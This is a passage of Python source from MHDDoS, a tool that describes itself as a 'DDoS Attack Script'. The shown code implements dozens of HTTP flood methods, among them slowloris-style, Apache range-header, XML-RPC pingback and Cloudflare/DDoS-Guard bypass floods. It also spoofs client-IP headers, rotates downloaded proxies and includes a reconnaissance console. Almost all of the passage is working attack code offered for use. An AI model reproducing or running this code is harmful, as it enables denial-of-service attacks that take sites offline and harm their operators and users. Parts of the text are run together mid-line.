                    'Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile',
                    'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'
                ]
            self._useragents = list(useragents)
            self._req_type = self.getMethodType(method)
            self._defaultpayload = "%s %s HTTP/%s\r\n" % (self._req_type,
                                                          target.raw_path_qs, randchoice(['1.0', '1.1', '1.2']))
            self._payload = (self._defaultpayload +
                             'Accept-Encoding: gzip, deflate, br\r\n'
                             'Accept-Language: en-US,en;q=0.9\r\n'
                             'Cache-Control: max-age=0\r\n'
                             'Connection: keep-alive\r\n'
                             'Sec-Fetch-Dest: document\r\n'
                             'Sec-Fetch-Mode: navigate\r\n'
                             'Sec-Fetch-Site: none\r\n'
                             'Sec-Fetch-User: ?1\r\n'
                             'Sec-Gpc: 1\r\n'
                             'Pragma: no-cache\r\n'
                             'Upgrade-Insecure-Requests: 1\r\n')    def select(self, name: str) -> None:
            self.SENT_FLOOD = self.GET
            for key, value in self.methods.items():
                if name == key:
                    self.SENT_FLOOD = value
                    
        def run(self) -> None:
            if self._synevent: self._synevent.wait()
            self.select(self._method)
            while self._synevent.is_set():
                self.SENT_FLOOD()    @property
        def SpoofIP(self) -> str:
            spoof: str = ProxyTools.Random.rand_ipv4()
            return ("X-Forwarded-Proto: Http\r\n"
                    f"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\r\n"
                    f"Via: {spoof}\r\n"
                    f"Client-IP: {spoof}\r\n"
                    f'X-Forwarded-For: {spoof}\r\n'
                    f'Real-IP: {spoof}\r\n')    def generate_payload(self, other: str = None) -> bytes:
            return str.encode((self._payload +
                               f"Host: {self._target.authority}\r\n" +
                               self.randHeadercontent +
                               (other if other else "") +
                               "\r\n"))    def open_connection(self, host=None) -> socket:
            if self._proxies:
                sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
            else:
                sock = socket(AF_INET, SOCK_STREAM)        sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
            sock.settimeout(.9)
            sock.connect(host or self._raw_target)        if self._target.scheme.lower() == "https":
                sock = ctx.wrap_socket(sock,
                                       server_hostname=host[0] if host else self._target.host,
                                       server_side=False,
                                       do_handshake_on_connect=True,
                                       suppress_ragged_eofs=True)
            return sock    @property
        def randHeadercontent(self) -> str:
            return (f"User-Agent: {randchoice(self._useragents)}\r\n"
                    f"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\r\n" +
                    self.SpoofIP)    @staticmethod
        def getMethodType(method: str) -> str:
            return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "TOR", "COOKIE", "OVH", "EVEN",
                                                "DYN", "SLOW", "PPS", "APACHE",
                                                "BOT", "RHEX", "STOMP"} \
                else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
                else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
                else "REQUESTS"    def POST(self) -> None:
            payload: bytes = self.generate_payload(
                ("Content-Length: 44\r\n"
                 "X-Requested-With: XMLHttpRequest\r\n"
                 "Content-Type: application/json\r\n\r\n"
                 '{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
            s = None
            with  suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def TOR(self) -> None:
            provider = "." + randchoice(tor2webs)
            target = self._target.authority.replace(".onion", provider)
            payload: Any = str.encode(self._payload +
                                      f"Host: {target}\r\n" +
                                      self.randHeadercontent +
                                      "\r\n")
            s = None
            target = self._target.host.replace(".onion", provider), self._raw_target[1]
            with suppress(Exception), self.open_connection(target) as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def STRESS(self) -> None:
            payload: bytes = self.generate_payload(
                ("Content-Length: 524\r\n"
                 "X-Requested-With: XMLHttpRequest\r\n"
                 "Content-Type: application/json\r\n\r\n"
                 '{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def COOKIES(self) -> None:
            payload: bytes = self.generate_payload(
                "Cookie: _ga=GA%s;"
                " _gat=1;"
                " __cfduid=dc232334gwdsd23434542342342342475611928;"
                " %s=%s\r\n" %
                (ProxyTools.Random.rand_int(1000, 99999), ProxyTools.Random.rand_str(6),
                 ProxyTools.Random.rand_str(32)))
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def APACHE(self) -> None:
            payload: bytes = self.generate_payload(
                "Range: bytes=0-,%s" % ",".join("5-%d" % i
                                                for i in range(1, 1024)))
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def XMLRPC(self) -> None:
            payload: bytes = self.generate_payload(
                ("Content-Length: 345\r\n"
                 "X-Requested-With: XMLHttpRequest\r\n"
                 "Content-Type: application/xml\r\n\r\n"
                 "<?xml version='1.0' encoding='iso-8859-1'?>"
                 "<methodCall><methodName>pingback.ping</methodName>"
                 "<params><param><value><string>%s</string></value>"
                 "</param><param><value><string>%s</string>"
                 "</value></param></params></methodCall>") %
                (ProxyTools.Random.rand_str(64),
                 ProxyTools.Random.rand_str(64)))[:-2]
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def PPS(self) -> None:
            payload: Any = str.encode(self._defaultpayload +
                                      f"Host: {self._target.authority}\r\n\r\n")
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def KILLER(self) -> None:
            while True:
                Thread(target=self.GET, daemon=True).start()    def GET(self) -> None:
            payload: bytes = self.generate_payload()
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def BOT(self) -> None:
            payload: bytes = self.generate_payload()
            p1, p2 = str.encode(
                "GET /robots.txt HTTP/1.1\r\n"
                "Host: %s\r\n" % self._target.raw_authority +
                "Connection: Keep-Alive\r\n"
                "Accept: text/plain,text/html,*/*\r\n"
                "User-Agent: %s\r\n" % randchoice(search_engine_agents) +
                "Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
                "GET /sitemap.xml HTTP/1.1\r\n"
                "Host: %s\r\n" % self._target.raw_authority +
                "Connection: Keep-Alive\r\n"
                "Accept: */*\r\n"
                "From: googlebot(at)googlebot.com\r\n"
                "User-Agent: %s\r\n" % randchoice(search_engine_agents) +
                "Accept-Encoding: gzip,deflate,br\r\n"
                "If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
                                              ProxyTools.Random.rand_str(4)) +
                "If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
            s = None
            with suppress(Exception), self.open_connection() as s:
                Tools.send(s, p1)
                Tools.send(s, p2)
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def EVEN(self) -> None:
            payload: bytes = self.generate_payload()
            s = None
            with suppress(Exception), self.open_connection() as s:
                while Tools.send(s, payload) and s.recv(1):
                    continue
            Tools.safe_close(s)    def OVH(self) -> None:
            payload: bytes = self.generate_payload()
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(min(self._rpc, 5)):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def CFB(self):
            global REQUESTS_SENT, BYTES_SEND
            pro = None
            if self._proxies:
                pro = randchoice(self._proxies)
            s = None
            with suppress(Exception), create_scraper() as s:
                for _ in range(self._rpc):
                    if pro:
                        with s.get(self._target.human_repr(),
                                   proxies=pro.asRequest()) as res:
                            REQUESTS_SENT += 1
                            BYTES_SEND += Tools.sizeOfRequest(res)
                            continue                with s.get(self._target.human_repr()) as res:
                        REQUESTS_SENT += 1
                        BYTES_SEND += Tools.sizeOfRequest(res)
            Tools.safe_close(s)    def CFBUAM(self):
            payload: bytes = self.generate_payload()
            s = None
            with suppress(Exception), self.open_connection() as s:
                Tools.send(s, payload)
                sleep(5.01)
                ts = time()
                for _ in range(self._rpc):
                    Tools.send(s, payload)
                    if time() > ts + 120: break
            Tools.safe_close(s)    def AVB(self):
            payload: bytes = self.generate_payload()
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    sleep(max(self._rpc / 1000, 1))
                    Tools.send(s, payload)
            Tools.safe_close(s)    def DGB(self):
            global REQUESTS_SENT, BYTES_SEND
            with suppress(Exception):
                if self._proxies:
                    pro = randchoice(self._proxies)
                    with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents), pro.asRequest()) as ss:
                        for _ in range(min(self._rpc, 5)):
                            sleep(min(self._rpc, 5) / 100)
                            with ss.get(self._target.human_repr(),
                                        proxies=pro.asRequest()) as res:
                                REQUESTS_SENT += 1
                                BYTES_SEND += Tools.sizeOfRequest(res)
                                continue                Tools.safe_close(ss)            with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents)) as ss:
                    for _ in range(min(self._rpc, 5)):
                        sleep(min(self._rpc, 5) / 100)
                        with ss.get(self._target.human_repr()) as res:
                            REQUESTS_SENT += 1
                            BYTES_SEND += Tools.sizeOfRequest(res)            Tools.safe_close(ss)    def DYN(self):
            payload: Any = str.encode(self._payload +
                                      f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
                                      self.randHeadercontent +
                                      "\r\n")
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def DOWNLOADER(self):
            payload: Any = self.generate_payload()        s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
                    while 1:
                        sleep(.01)
                        data = s.recv(1)
                        if not data:
                            break
                Tools.send(s, b'0')
            Tools.safe_close(s)    def BYPASS(self):
            global REQUESTS_SENT, BYTES_SEND
            pro = None
            if self._proxies:
                pro = randchoice(self._proxies)
            s = None
            with suppress(Exception), Session() as s:
                for _ in range(self._rpc):
                    if pro:
                        with s.get(self._target.human_repr(),
                                   proxies=pro.asRequest()) as res:
                            REQUESTS_SENT += 1
                            BYTES_SEND += Tools.sizeOfRequest(res)
                            continue                with s.get(self._target.human_repr()) as res:
                        REQUESTS_SENT += 1
                        BYTES_SEND += Tools.sizeOfRequest(res)
            Tools.safe_close(s)    def GSB(self):
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
                                                               self._target.raw_path_qs,
                                                               ProxyTools.Random.rand_str(6)) +
                                 "Host: %s\r\n" % self._target.authority +
                                 self.randHeadercontent +
                                 'Accept-Encoding: gzip, deflate, br\r\n'
                                 'Accept-Language: en-US,en;q=0.9\r\n'
                                 'Cache-Control: max-age=0\r\n'
                                 'Connection: Keep-Alive\r\n'
                                 'Sec-Fetch-Dest: document\r\n'
                                 'Sec-Fetch-Mode: navigate\r\n'
                                 'Sec-Fetch-Site: none\r\n'
                                 'Sec-Fetch-User: ?1\r\n'
                                 'Sec-Gpc: 1\r\n'
                                 'Pragma: no-cache\r\n'
                                 'Upgrade-Insecure-Requests: 1\r\n\r\n')
                    Tools.send(s, payload)
            Tools.safe_close(s)    def RHEX(self):
            randhex = str(randbytes(randchoice([32, 64, 128])))
            payload = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
                                                            self._target.authority,
                                                            randhex) +
                                 "Host: %s/%s\r\n" % (self._target.authority, randhex) +
                                 self.randHeadercontent +
                                 'Accept-Encoding: gzip, deflate, br\r\n'
                                 'Accept-Language: en-US,en;q=0.9\r\n'
                                 'Cache-Control: max-age=0\r\n'
                                 'Connection: keep-alive\r\n'
                                 'Sec-Fetch-Dest: document\r\n'
                                 'Sec-Fetch-Mode: navigate\r\n'
                                 'Sec-Fetch-Site: none\r\n'
                                 'Sec-Fetch-User: ?1\r\n'
                                 'Sec-Gpc: 1\r\n'
                                 'Pragma: no-cache\r\n'
                                 'Upgrade-Insecure-Requests: 1\r\n\r\n')
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def STOMP(self):
            dep = ('Accept-Encoding: gzip, deflate, br\r\n'
                   'Accept-Language: en-US,en;q=0.9\r\n'
                   'Cache-Control: max-age=0\r\n'
                   'Connection: keep-alive\r\n'
                   'Sec-Fetch-Dest: document\r\n'
                   'Sec-Fetch-Mode: navigate\r\n'
                   'Sec-Fetch-Site: none\r\n'
                   'Sec-Fetch-User: ?1\r\n'
                   'Sec-Gpc: 1\r\n'
                   'Pragma: no-cache\r\n'
                   'Upgrade-Insecure-Requests: 1\r\n\r\n')
            hexh = r'\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87' \
                   r'\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F' \
                   r'\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F' \
                   r'\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84' \
                   r'\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F' \
                   r'\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98' \
                   r'\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98' \
                   r'\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B' \
                   r'\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99' \
                   r'\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C' \
                   r'\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA '
            p1, p2 = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
                                                           self._target.authority,
                                                           hexh) +
                                "Host: %s/%s\r\n" % (self._target.authority, hexh) +
                                self.randHeadercontent + dep), str.encode(
                "%s %s/cdn-cgi/l/chk_captcha HTTP/1.1\r\n" % (self._req_type,
                                                              self._target.authority) +
                "Host: %s\r\n" % hexh +
                self.randHeadercontent + dep)
            s = None
            with suppress(Exception), self.open_connection() as s:
                Tools.send(s, p1)
                for _ in range(self._rpc):
                    Tools.send(s, p2)
            Tools.safe_close(s)    def NULL(self) -> None:
            payload: Any = str.encode(self._payload +
                                      f"Host: {self._target.authority}\r\n" +
                                      "User-Agent: null\r\n" +
                                      "Referrer: null\r\n" +
                                      self.SpoofIP + "\r\n")
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
            Tools.safe_close(s)    def BOMB(self):
            assert self._proxies, \
                'This method requires proxies. ' \
                'Without proxies you can use github.com/codesenberg/bombardier'        while True:
                proxy = randchoice(self._proxies)
                if proxy.type != ProxyType.SOCKS4:
                    break        res = run(
                [
                    f'{bombardier_path}',
                    f'--connections={self._rpc}',
                    '--http2',
                    '--method=GET',
                    '--latencies',
                    '--timeout=30s',
                    f'--requests={self._rpc}',
                    f'--proxy={proxy}',
                    f'{self._target.human_repr()}',
                ],
                stdout=PIPE,
            )
            if self._thread_id == 0:
                print(proxy, res.stdout.decode(), sep='\n')    def SLOW(self):
            payload: bytes = self.generate_payload()
            s = None
            with suppress(Exception), self.open_connection() as s:
                for _ in range(self._rpc):
                    Tools.send(s, payload)
                while Tools.send(s, payload) and s.recv(1):
                    for i in range(self._rpc):
                        keep = str.encode("X-a: %d\r\n" % ProxyTools.Random.rand_int(1, 5000))
                        Tools.send(s, keep)
                        sleep(self._rpc / 15)
                        break
            Tools.safe_close(s)
    class ProxyManager:    @staticmethod
        def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:
            providrs = [
                provider for provider in cf["proxy-providers"]
                if provider["type"] == Proxy_type or Proxy_type == 0
            ]
            logger.info(
                f"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}" % len(
                    providrs))
            proxes: Set[Proxy] = set()        with ThreadPoolExecutor(len(providrs)) as executor:
                future_to_download = {
                    executor.submit(
                        ProxyManager.download, provider,
                        ProxyType.stringToProxyType(str(provider["type"])))
                    for provider in providrs
                }
                for future in as_completed(future_to_download):
                    for pro in future.result():
                        proxes.add(pro)
            return proxes    @staticmethod
        def download(provider, proxy_type: ProxyType) -> Set[Proxy]:
            logger.debug(
                f"{bcolors.WARNING}Proxies from (URL: {bcolors.OKBLUE}%s{bcolors.WARNING}, Type: {bcolors.OKBLUE}%s{bcolors.WARNING}, Timeout: {bcolors.OKBLUE}%d{bcolors.WARNING}){bcolors.RESET}" %
                (provider["url"], proxy_type.name, provider["timeout"]))
            proxes: Set[Proxy] = set()
            with suppress(TimeoutError, exceptions.ConnectionError,
                          exceptions.ReadTimeout):
                data = get(provider["url"], timeout=provider["timeout"]).text
                try:
                    for proxy in ProxyUtiles.parseAllIPPort(
                            data.splitlines(), proxy_type):
                        proxes.add(proxy)
                except Exception as e:
                    logger.error(f'Download Proxy Error: {(e.__str__() or e.__repr__())}')
            return proxes
    class ToolsConsole:
        METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT"}    @staticmethod
        def checkRawSocket():
            with suppress(OSError):
                with socket(AF_INET, SOCK_RAW, IPPROTO_TCP):
                    return True
            return False    @staticmethod
        def runConsole():
            cons = f"{gethostname()}@MHTools:~#"        while 1:
                cmd = input(cons + " ").strip()
                if not cmd: continue
                if " " in cmd:
                    cmd, args = cmd.split(" ", 1)            cmd = cmd.upper()
                if cmd == "HELP":
                    print("Tools:" + ", ".join(ToolsConsole.METHODS))
                    print("Commands: HELP, CLEAR, BACK, EXIT")
                    continue            if {cmd} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
                    exit(-1)            if cmd == "CLEAR":
                    print("\033c")
                    continue            if not {cmd} & ToolsConsole.METHODS:
                    print(f"{cmd} command not found")
                    continue            if cmd == "DSTAT":
                    with suppress(KeyboardInterrupt):
                        ld = net_io_counters(pernic=False)                    while True:
                            sleep(1)                        od = ld
                            ld = net_io_counters(pernic=False)                        t = [(last - now) for now, last in zip(od, ld)]                        logger.info(
                                ("Bytes Sent %s\n"
                                 "Bytes Received %s\n"
                                 "Packets Sent %s\n"
                                 "Packets Received %s\n"
                                 "ErrIn %s\n"
                                 "ErrOut %s\n"
                                 "DropIn %s\n"
                                 "DropOut %s\n"
                                 "Cpu Usage %s\n"
                                 "Memory %s\n") %
                                (Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),
                                 Tools.humanformat(t[2]), Tools.humanformat(t[3]),
                                 t[4], t[5], t[6], t[7], str(cpu_percent()) + "%",
                                 str(virtual_memory().percent) + "%"))
                if cmd in ["CFIP", "DNS"]:
                    print("Soon")
                    continue            if cmd == "CHECK":
                    while True:
                        with suppress(Exception):
                            domain = input(f'{cons}give-me-ipaddress# ')
                            if not domain: continue
                            if domain.upper() == "BACK": break
                            if domain.upper() == "CLEAR":
                                print("\033c")
                                continue
                            if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
                                exit(-1)
                            if "/" not in domain: continue
                            logger.info("please wait ...")                        with get(domain, timeout=20) as r:
                                logger.info(('status_code: %d\n'
                                             'status: %s') %
                                            (r.status_code, "ONLINE"
                                            if r.status_code <= 500 else "OFFLINE"))            if cmd == "INFO":
                    while True:
                        domain = input(f'{cons}give-me-ipaddress# ')
                        if not domain: continue
                        if domain.upper() == "BACK": break
                        if domain.upper() == "CLEAR":
                            print("\033c")
                            continue
                        if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
                            exit(-1)
                        domain = domain.replace('https://',
                                                '').replace('http://', '')
                        if "/" in domain: domain = domain.split("/")[0]
                        print('please wait ...', end="\r")                    info = ToolsConsole.info(domain)                    if not info["success"]:
                            print("Error!")
                            continue                    logger.info(("Country: %s\n"
                                     "City: %s\n"
                                     "Org: %s\n"
                                     "Isp: %s\n"
                                     "Region: %s\n") %
                                    (info["country"], info["city"], info["org"],
                                     info["isp"], info["region"]))            if cmd == "TSSRV":
                    while True:
                        domain = input(f'{cons}give-me-domain# ')
                        if not domain: continue
                        if domain.upper() == "BACK": break
                        if domain.upper() == "CLEAR":
                            print("\033c")
                            continue
                        if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
                            exit(-1)
                        domain = domain.replace('https://',
                                                '').replace('http://', '')
                        if "/" in domain: domain = domain.split("/")[0]
                        print('please wait ...', end="\r")                    info = ToolsConsole.ts_srv(domain)
                        logger.info(f"TCP: {(info['_tsdns._tcp.'])}\n")
                        logger.info(f"UDP: {(info['_ts3._udp.'])}\n")            if cmd == "PING":
                    while True:
                        domain = input(f'{cons}give-me-ipaddress# ')
                        if not domain: continue
                        if domain.upper() == "BACK": break
                        if domain.upper() == "CLEAR":
                            print("\033c")
                        if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
                            exit(-1)                    domain = domain.replace('https://',
                                                '').replace('http://', '')
                        if "/" in domain: domain = domain.split("/")[0]                    logger.info("please wait ...")
                        r = ping(domain, count=5, interval=0.2)
                        logger.info(('Address: %s\n'
                                     'Ping: %d\n'
                                     'Aceepted Packets: %d/%d\n'
                                     'status: %s\n') %
                                    (r.address, r.avg_rtt, r.packets_received,
                                     r.packets_sent,
                                     "ONLINE" if r.is_alive else "OFFLINE"))    @staticmethod
        def stop():
            print('All Attacks has been Stopped !')
            for proc in process_iter():
                if proc.name() == "python.exe":
                    proc.kill()    @staticmethod
        def usage():
            print((
                      '* MHDDoS - DDoS Attack Script With %d Methods\n'
                      'Note: If the Proxy list is empty, The attack will run without proxies\n'
                      '      If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
                      '      Proxy Type 0 = All in config.json\n'
                      '      SocksTypes:\n'
                      '         - 6 = RANDOM\n'
                      '         - 5 = SOCKS5\n'
                      '         - 4 = SOCKS4\n'
                      '         - 1 = HTTP\n'
                      '         - 0 = ALL\n'
                      ' > Methods:\n'
                      ' - Layer4\n'
                      ' | %s | %d Methods\n'
                      ' - Layer7\n'
                      ' | %s | %d Methods\n'
                      ' - Tools\n'
                      ' | %s | %d Methods\n'
                      ' - Others\n'
                      ' | %s | %d Methods\n'
                      ' - All %d Methods\n'
                      '\n'
                      'Example:\n'
                      '   L7: python3 %s <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>\n'
                      '   L4: python3 %s <method> <ip:port> <threads> <duration>\n'
                      '   L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\n'
                      '   L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'
                      ' Amplification)>\n') %
                  (len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
                   ", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
                   ", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),
                   ", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),
                   ", ".join(["TOOLS", "HELP", "STOP"]), 3,
                   len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
                   argv[0], argv[0], argv[0], argv[0]))    # noinspection PyBroadException
        @staticmethod
        def ts_srv(domain):
            records = ['_ts3._udp.', '_tsdns._tcp.']
            DnsResolver = resolver.Resolver()
            DnsResolver.timeout = 1
            DnsResolver.lifetime = 1
            Info = {}
            for rec in records:
                try:
                    srv_records = resolver.resolve(rec + domain, 'SRV')
                    for srv in srv_records:
                        Info[rec] = str(srv.target).rstrip('.') + ':' + str(
                            srv.port)
                except:
                    Info[rec] = 'Not found'        return Info    # noinspection PyUnreachableCode
        @staticmethod
        def info(domain):
            with suppress(Exception), get(f"https://ipwhois.app/json/{domain}/") as s:
                return s.json()
            return {"success": False}
    def handleProxyList(con, proxy_li, proxy_ty, url=None):
        if proxy_ty not in {4, 5, 1, 0, 6}:
            exit("Socks Type Not Found [4, 5, 1, 0, 6]")
        if proxy_ty == 6:
            proxy_ty = randchoice([4, 5, 1])
        if not proxy_li.exists():
            logger.warning(
                f"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}")
            proxy_li.parent.mkdir(parents=True, exist_ok=True)
            with proxy_li.open("w") as wr:
                Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
                logger.info(
                    f"{bcolors.OKBLUE}{len(Proxies):,}{bcolors.WARNING} Proxies are getting checked, this may take awhile{bcolors.RESET}!"
                )
                Proxies = ProxyChecker.checkAll(
                    Proxies, timeout=5, threads=threads,
                    url=url.human_repr() if url else "http://httpbin.org/get",
                )            if not Proxies:
                    exit(
                        "Proxy Check failed, Your network may be the problem"
                        " | The target may not be available."
                    )
               
                for proxy in Proxies:
                    stringBuilder += (proxy.__str__() + "\n")
                wr.write(stringBuilder)    proxies = ProxyUtiles.readFromFile(proxy_li)
        if proxies:
            logger.info(f"{bcolors.WARNING}Proxy Count: {bcolors.OKBLUE}{len(proxies):,}{bcolors.RESET}")
        else:
            logger.info(
                f"{bcolors.WARNING}Empty Proxy File, running flood without proxy{bcolors.RESET}")
            proxies = None    return proxies
    if __name__ == '__main__':
        with suppress(KeyboardInterrupt):
            with suppress(IndexError):
                one = argv[1].upper()            if one == "HELP":
                    raise IndexError()
                if one == "TOOLS":
                    ToolsConsole.runConsole()
                if one == "STOP":
                    ToolsConsole.stop()            method = one
                host = None
                port = None
                url = None
                event = Event()
                event.clear()
                target = None
                urlraw = argv[2].strip()
                if not urlraw.startswith("http"):
                    urlraw = "http://" + urlraw            if method not in Methods.ALL_METHODS:
                    exit("Method Not Found %s" %
                         ", ".join(Methods.ALL_METHODS))            if method in Methods.LAYER7_METHODS:
                    url = URL(urlraw)
                    host = url.host                if method != "TOR":
                        try:
                            host = gethostbyname(url.host)
                        except Exception as e:
                            exit('Cannot resolve hostname ', url.host, str(e))                threads = int(argv[4])
                    rpc = int(argv[6])
                    timer = int(argv[7])
                    proxy_ty = int(argv[3].strip())
                    proxy_li = Path(__dir__ / "files/proxies/" /
                                    argv[5].strip())
                    useragent_li = Path(__dir__ / "files/useragent.txt")
                    referers_li = Path(__dir__ / "files/referers.txt")
                    bombardier_path = Path.home() / "go/bin/bombardier"
                    proxies: Any = set()                if method == "BOMB":
                        assert (
                                bombardier_path.exists()
                                or bombardier_path.with_suffix('.exe').exists()
                        ), (
                            "Install bombardier: "
                            "https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
                        )                if len(argv) == 9:
                        logger.setLevel("DEBUG")                if not useragent_li.exists():
                        exit("The Useragent file doesn't exist ")
                    if not referers_li.exists():
                        exit("The Referer file doesn't exist ")                uagents = set(a.strip()
